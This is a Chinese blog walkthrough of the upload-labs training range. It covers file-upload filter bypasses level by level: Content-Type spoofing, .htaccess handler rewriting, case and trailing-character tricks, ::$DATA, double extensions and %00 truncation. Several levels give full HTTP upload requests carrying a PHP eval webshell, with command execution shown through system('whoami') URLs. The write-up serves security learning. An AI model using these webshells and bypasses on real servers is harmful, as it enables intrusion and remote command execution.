upload-labs 靶場通關筆記

lrui1發表於2024-10-16

靶場搭建

Windows

下載作者提供的PHPStudy整合版,避免bug

https://github.com/c0ny1/upload-labs/releases

Linux

有一些關卡在用Linux的靶場

docker run -d -p 80:80 cuer/upload-labs

Pass-01

原始碼審計

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("請選擇要上傳的檔案!");
            return false;
        }
        //定義允許上傳的檔案型別
        var allow_ext = ".jpg|.png|.gif";
        //提取上傳檔案的型別
        var ext_name = file.substring(file.lastIndexOf("."));
        //判斷上傳檔案型別是否允許上傳
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "該檔案不允許上傳,請上傳" + allow_ext + "型別的檔案,當前檔案型別為:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

只有在js程式碼中進行校驗,提交到後端的PHP程式碼處理沒有任何的過濾(前端校驗等於沒有校驗)

攻擊

前端js驗證

  1. 直接上傳圖片透過前端,抓包,修改後直接傳送請求包
POST http://192.168.1.17/Pass-01/index.php HTTP/1.1
Host: 192.168.1.17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------225474232222570505221243396719
Content-Length: 378
Origin: http://192.168.1.17
Connection: keep-alive
Referer: http://192.168.1.17/Pass-01/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------225474232222570505221243396719
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png

<?php @eval($_REQUEST['shell']);?> 

-----------------------------225474232222570505221243396719
Content-Disposition: form-data; name="submit"

上傳
-----------------------------225474232222570505221243396719--

  1. 修改前端,禁用checkfile()函式,即可上傳成功

瀏覽器訪問http://192.168.1.17/upload/1.php?shell=system('whoami');執行命令返回

知識點

前端驗證都是紙老虎

Pass-02

原始碼審計

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '檔案型別不正確,請重新上傳!';
        }
    } else {
        $msg = UPLOAD_PATH.'資料夾不存在,請手工建立!';
    }
}

原始碼審計,透過檢測報文傳送資料中的Content-Type 的值來對檔案的型別進行過濾,只需要傳送報文的時候將Content-Type值改為image/png,實際仍是.php,即可繞過,形同虛設

攻擊

POST http://192.168.1.17/Pass-02/index.php HTTP/1.1
Host: 192.168.1.17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------42773365403714671171577664389
Content-Length: 375
Origin: http://192.168.1.17
Connection: keep-alive
Referer: http://192.168.1.17/Pass-02/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------42773365403714671171577664389
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png

<?php @eval($_REQUEST['shell']);?> 

-----------------------------42773365403714671171577664389
Content-Disposition: form-data; name="submit"

上傳
-----------------------------42773365403714671171577664389--

服務端對Content-Type進行欄位驗證

瀏覽器訪問http://192.168.1.17/upload/1.php?shell=system('whoami');執行命令返回

知識點

服務端對Content-Type欄位的驗證,修改欄位上傳繞過

Pass-03

原始碼審計

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除檔名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '不允許上傳.asp,.aspx,.php,.jsp字尾檔案!';
        }
    } else {
        $msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
    }
}

審計原始碼,發現其只過濾了 '.asp','.aspx','.php','.jsp' 這些檔案字尾,構造其他字尾的檔案如.phtml、.php5即可

攻擊

透過上傳.php5、.phtml等其他字尾繞過限制

ps:用Github靶場的Release環境,就可以解析了,自己配太折騰了

知識點

多字尾解析php檔案可上傳繞過

Pass-04

原始碼審計

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除檔名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
    }
}

相比於Pass-03,增加了許多黑名單,但是忘記過濾了.htaccess,伺服器是Apache可以這樣利用

攻擊

1、先上傳.htaccess字尾檔案改變Apache 伺服器的配置,將所有的.png檔案都已php來解析

AddType application/x-httpd-php .png

或者

<FilesMatch "檔名">
SetHandler application/x-httpd-php
</FilesMatch>

選擇方式一
2、上傳後,將1.php改為1.png進行上傳,成功解析

驗證:訪問如下url http://192.168.1.17/upload/1.png?shell=system("id");

知識點

Apache伺服器中,可以透過上傳.htaccess檔案來改變伺服器的解析邏輯,需要上傳有覆蓋的功能

Pass-05

原始碼審計

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除檔名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案型別不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
    }
}

相比之前的pass,去除了將輸入轉換為小寫的步驟,因此可以上傳.PhP型別的字尾Bypass

攻擊

上傳木馬,檔名為1.PhP即可Bypass

訪問http://192.168.1.17/upload/202410150453201605.PhP?shell=system("id");有回顯

知識點

檔案字尾大小寫繞過

Pass-06

原始碼審計

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//刪除檔名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案不允許上傳';
        }
    } else {
        $msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
    }
}

相比之前的pass 缺少了 trim() 函式過濾空格,抓包攔截帶空格的字尾,後端識別的字尾名就是php ,實現Bypass

攻擊

透過抓包,往檔案字尾新增空格,即可繞過

ps:我訪問該URL:http://192.168.1.17/upload/202410150458401586.php%20?shell=system("id");沒回顯,中間空格去掉直接404 not found

查閱資料,windows特性,會自動去掉字尾名中最後的空格
對於靶場最好還是Windows搭建,除了一些需要Linux關卡

打到這裡我趕緊下載官方環境,再次進行測試,訪問該url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami");

回顯成功

知識點

windows特性,會自動去掉字尾名中最後的空格

Pass-07

原始碼審計

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
        $file_ext = trim($file_ext); //首尾去空

相比於之前的pass,缺少了deldot()函式,刪除檔案末尾的.
利用Windows,1.php.會自動重新命名為1.php的特性
抓包,修改檔名,實現ByPass

攻擊

POST 攜帶的資料如下

-----------------------------1148941150563825243932695907
Content-Disposition: form-data; name="upload_file"; filename="1.php."
Content-Type: application/octet-stream

<?php @eval($_REQUEST['shell']);?> 
-----------------------------1148941150563825243932695907
Content-Disposition: form-data; name="submit"

上傳
-----------------------------1148941150563825243932695907--

訪問該url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami"); 有回顯

知識點

利用Windows,1.php.會自動重新命名為1.php的特性

Pass-08

原始碼審計

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除檔名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = trim($file_ext); //首尾去空

相比於之前的pass,刪除了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
對字串::$DATA並沒有進行過濾

透過上傳字尾.php::$data進行Bypass,1.php:$DATA檔名與1.php一致

攻擊

抓包,修改檔名,報文(POST 資料)如下

-----------------------------281663601630465474662581018521
Content-Disposition: form-data; name="upload_file"; filename="1.php::$DATA"
Content-Type: application/octet-stream

<?php @eval($_REQUEST['shell']);?> 
-----------------------------281663601630465474662581018521
Content-Disposition: form-data; name="submit"

上傳
-----------------------------281663601630465474662581018521--

訪問http://192.168.169.173/upload/202410151759495090.php?shell=system("whoami");有回顯
開啟圖片的時候把末尾的::$DATA刪除就行

知識點

1.php:$DATA檔名與1.php一致

關於::$DA他的解釋(GPT

在 Windows 中,使用 1.php::$DATA 來建立檔案時,會有以下效果:

  1. 主資料流1.php 是這個檔案的主資料流,包含檔案的正常內容。比如如果你在這個檔案裡寫入 PHP 程式碼或其他文字,它就會儲存在主資料流中。
  2. ::$DATA 的含義:在 1.php::$DATA 中,::$DATA 實際上是對主資料流的引用。也就是說,它引用的就是 1.php 檔案的預設資料流。它沒有建立一個新的、獨立的資料流,而是直接引用了 1.php 自己的內容。
  3. 不建立額外資料流:如果你嘗試直接使用 1.php::$DATA 這樣的檔名去建立檔案,系統只會把它當作對 1.php 主資料流的引用,而不會在檔案系統中建立一個新的資料流。因此,沒有實際效果上的變化,它和直接訪問 1.php 沒有區別。

總結:

  • 不會建立新的檔案1.php::$DATA 實際上是引用 1.php 檔案的內容。
  • 沒有附加資料流:它沒有建立或使用附加資料流,而是直接指向 1.php 自身的預設內容。
  • 等同於訪問 1.php:當你嘗試讀取 1.php::$DATA,其效果和直接讀取 1.php 是一樣的。

換句話說,::$DATA 並不是用於建立新的流,而是表明當前正在訪問檔案的主資料流。

Pass-09

原始碼審計

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除檔名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案型別不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
    }
}

首先看下$file_name = deldot($filename)這行程式碼, 它的作用是將上傳檔案最末尾的"."去除掉了, 我們可以利用它這個機制來繞過字尾限制, 例如上傳一個檔名為webshell.php. ., 經過deldot函式的處理後檔名為webshell.php.

然後再看下strrchr函式, 該函式的作用是返回的字串從指定字元的位置開始,包含指定字元。因此,$file_ext變數中儲存的是檔案的副檔名, 也就是說最終$file_ext的值為.

$deny_ext是一個存有黑名單字尾的陣列, 後面程式碼判斷$file_ext是否是黑名單字尾, 由於$file_ext的值為., 並不屬於限制字尾, 因此能夠上傳成功

攻擊

利用 trim()、deldot() 等只刪除了一次,並沒有迴圈巢狀刪除的漏洞

上傳檔案時抓包,將檔名改為1.php. .即可,POST資料段報文如下

-----------------------------374897871012500191664085237289
Content-Disposition: form-data; name="upload_file"; filename="1.php. ."
Content-Type: application/octet-stream

<?php @eval($_REQUEST['shell']);?> 
-----------------------------374897871012500191664085237289
Content-Disposition: form-data; name="submit"

上傳
-----------------------------374897871012500191664085237289--

訪問 http://192.168.190.173/upload/1.php?shell=system("whoami"); 有回顯

ps:直接用靶場Release倉庫的環境就行,省事

知識點

利用Windows寫入檔案時,1.php. 會直接省略末尾的空字尾. 實現繞過

Pass-10

原始碼審計

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else {
        $msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
    }
}

trim 去除兩端空格
str_ireplace$file_name中的$deny_ext替換成""
由於沒有迴圈過濾,可以雙寫字尾名繞過

攻擊

上傳1.pphphp即可繞過

訪問 http://192.168.190.173/upload/1.php?shell=system("whoami"); 有回顯

知識點

未迴圈過濾,雙寫字尾繞過

Pass-11

原始碼審計

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else{
        $msg = "只允許上傳.jpg|.png|.gif型別檔案!";
    }
}

簡述程式碼邏輯

  1. 定義一個陣列,裡面有一些常見圖片的字尾名
  2. 提取檔名的最後一個.的後面的內容
  3. 判斷字尾是否是合法檔名裡面的
  4. 如果合法,Get請求獲取save_path,拼接寫入
    從上述分析可知,透過GET請求來獲取save_path引數的值, 也就是說這個值是可控的, 若我們將這個值修改成../upload/1.php%00, 也就是在檔名後面新增截斷符號%00 ,這樣做的作用是將截斷資料, Windows建立檔案時會忽略後面 rand(10, 99).date("YmdHis").".".$file_ext這行程式碼, 這樣寫入的檔名就變成了../upload/1.php

%00 是 URL 編碼中的一個字元,它表示一個空字元(NULL 字元)

攻擊

上傳1.png檔案,抓包攔截,修改Get請求save_path引數傳遞的值為../upload/1.php%00

訪問 http://192.168.190.173/upload/1.php?shell=system("whoami"); 有回顯

知識點

Windows系統%00檔名截斷

Pass-12

··· 待更新

參考連結

全面瞭解檔案上傳漏洞, 通關upload-labs靶場!

相關文章